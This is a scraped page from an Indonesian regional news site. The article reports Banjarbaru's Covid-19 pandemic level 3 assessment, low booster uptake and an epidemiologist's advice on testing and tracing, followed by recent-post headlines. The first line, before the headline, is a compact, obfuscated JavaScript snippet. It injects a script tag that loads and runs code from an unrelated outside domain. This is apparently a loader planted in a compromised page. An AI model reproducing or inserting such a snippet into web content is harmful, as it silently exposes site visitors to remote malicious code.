(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pandemi di Banjarbaru Level 3 Harus Ditanggulangi, PPKM Bisa Naik Level


KANALKALIMANTAN.COM, BANJARBARU – Status pandemi di Kota Banjarbaru ditetapkan berada di level 3, hal ini berdasarkan hasil asesmen dari Kementerian Kesehatan Republik Indonesia yang menyatakan situasi pandemi Covid-19 di Kota Banjarbaru.

Menyusul rendahnya perolehan vaksinasi booster pertama yang masih diangka 42,12 persen dan beberapa waktu terakhir angka positif Covid-19 meningkat di Kota Banjarbaru.

Walau dinyatakan situasi pandemi di level 3, status pemberlakuan pembatasan kegiatan masyarakat (PPKM) masih berada di level 1.

Ahli Madya Epidemiolog Kesehatan Dinkes Banjarbaru, Edi Sampana menerangkan dari hasil asesmen Kemenkes RI situasi pandemi Kota Banjarbaru level 3. Sedangkan PPKM di Kota Banjarbaru masih berada di level 1.

 

 

Baca juga: Terkait Kasus Penembakan Brigadir J, Polri Dikabarkan Tangkap Irjen Ferdy Sambo!

“Menurut Inmendagri terbaru, semua kabupatan kota di Kalimantan Selatan PPKM level 1,” ujarnya kepada kanalkalimantan.com.

Masih kata Edi, hingga saat ini masyarakat terpapar Covid-19 setiap harinya terus mengalami penambahan.

“Selama 28 hari terakhir masyarakat terpapar Covid-19 mengalami penambahan. Namun, beberapa hari terakhir grafik menyatakan mengalami penurunan,” sebutnya.

Disamping bertambanya pasien Covid-19 di Kota Banjarbaru, perolehan vaksinasi dosis ketiga juga berpengaruh.

Menurutnya, dalam meningkatkan cakupan vaksinasi dosis ketiga razia vaksin perlu digalakan kembali.

“Yang lebih penting razia vaksinasi dosis 3. Kalau belum dosis 3, sehingga orang itu bisa masuk ke fasilitas publik,” katanya.

Terkait penurunan status pandemi, Edi menuturkan ada beberapa cara bisa dilakukan diantaranya perbanyak tes Covid-19 pada kontak erat dan suspek.

Baca juga: Kecelakaan Beruntun di Lampu Merah Trikora, Sopir Tangki Sempat Terjepit

“Untuk memperbaiki asesmen Kemenkes diantaranya bisa dilakukan dengan memperkuat tracing, perbanyak tes Covid-19 pada kontak erat dan suspek serta perketat pengawasan protokol kesehatan,” sebutnya.

Dibeberkan, kalau tidak segera disikapi hasil asesmen dari Kemenkes tersebut maka akan mempengaruhi status PPKM Kota Banjarbaru nantinya.

“Biasanya hasil asesmen Kemenkes ini jadi dasar Mendagri menetapkan level PPKM suatu daerah,” tandasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

9 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

12 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

15 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

17 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

17 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

18 jam ago

This website uses cookies.